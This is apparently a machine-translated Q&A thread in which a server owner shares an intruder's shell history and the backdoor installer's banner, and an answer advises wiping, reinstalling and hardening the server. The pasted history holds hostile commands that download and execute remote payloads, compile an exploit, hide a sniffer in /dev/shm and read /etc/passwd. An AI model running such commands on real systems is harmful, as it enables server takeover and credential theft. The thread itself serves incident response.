在 VServer 上发现 SSH 后门。该怎么办?

its*_*ajo 24 ssh security malware

昨天我检查了我的 VServer 上的命令历史记录。我发现了几条可疑的线路。

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls a??-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /
Run Code Online (Sandbox Code Playgroud)

尤其是sniffer.tgz 震惊了我。我设置了一个虚拟机并下载了这个 tgz 档案。我开始设置,它给了我以下几行:

-----------------------------------------------------------------------------------
     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION
-----------------------------------------------------------------------------------


 CHECKING THIS SYSTEM

# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]
# OPENSSL DEVEL:         [ NOT FOUND ]

NOW TRYING TO INSTALL OPENSSL DEVEL
Run Code Online (Sandbox Code Playgroud)

有谁知道如何删除这个?

Tho*_*ard 66

这是您应该在所有拥有此sniffer.tgz功能的系统上执行的操作:立即从轨道消灭它们,然后从全新安装重新开始。(也就是说,破坏系统,重新安装干净的系统,从干净的备份中加载数据- 假设您有干净的备份,然后在将它们放回 Internet 之前强化系统)。

每当您有恶意软件或黑客像这样进入您的系统时,就该重新分析您的系统是如何配置的,并确保不要重复他们进入的相同步骤。但是,因为这可能不是一个您有能力将其放在一边并进行取证分析的系统,而且由于这可能是您唯一的服务器,所以是时候销毁虚拟系统并从头开始(如我上面所说)。

(这适用于您在系统上感染恶意软件的任何情况。除非您有备用硬件来更换类似的东西,以便您可以隔离和取证检查被破坏的系统,这通常大多数用户没有,您别无选择,只能以破坏系统并重新开始。)

如果不分析您的服务器,我无法真正说出您做错了什么,但很可能这个后门在系统中更深,而不仅仅是安装了一个简单的“程序”。而且,由于坏人已经在你的系统上安装了一个后门,你可以假设你的所有密码现在都被破坏了并且不再安全(无论是 SSH、MySQL root 还是任何其他类型的密码)已进入该计算机系统)。是时候更改所有密码了!


在干净的环境中备份后,这里有一些关于强化步骤的基本技巧需要考虑。请注意,因为这些使它成为一个更广泛的主题,所以我不能在这里深入研究细节,但绝对是时候采取一些强化步骤来保护您的系统:

  1. 打开防火墙只允许访问需要打开的端口ufw存在很简单,所以让我们使用它。 sudo ufw enable. (ufw为您的环境正确配置是另一回事,这超出了这个问题的范围。)

  2. 限制对远程 SSH 的访问。这并不总是可行的,但理想情况下,您可以识别您拥有的 IP 地址,并将它们专门列入防火墙的白名单。(如果您使用的是动态住宅 IP 地址,请跳过此步骤)。

  3. 锁定对您的服务器的 SSH 访问,并且只需要使用 SSH 密钥进行身份验证。这样黑客就无法攻击您的服务器并尝试猜测密码。猜测正确的私钥要困难得多(因为您必须对所有私钥进行暴力破解),这有助于防止暴力破解攻击。

  4. 如果您正在运行网站,请确保锁定权限,以便人们无法随意上传/执行内容。这样做因站点而异,所以我不能在这里给你更多的指导(这是不可能的)。

  5. 此外,如果您正在使用 Joomla 或 Wordpress 等运行网站,请确保您的环境保持最新状态并使用来自软件提供商的安全漏洞进行修补

  6. 在可能的情况下,为使用. 对于不同的应用程序,有许多用于第二因素身份验证的解决方案,以这种方式保护各种应用程序超出了本文的范围,因此在选择解决方案之前,您应该对这一点进行研究。

  7. 如果您绝对必须在设置中使用密码,请使用合适的密码管理器(基于云的密码管理器不一定是好的选择)并使用长(25 个字符以上)、随机、不可记忆的密码,这些密码对于每个正在使用的单个项目都不同由密码保护(因此建议使用密码管理器)。(但是,您应该强烈考虑在可能的情况下不使用密码(例如 SSH 身份验证),并在可能的情况下使用 2FA)。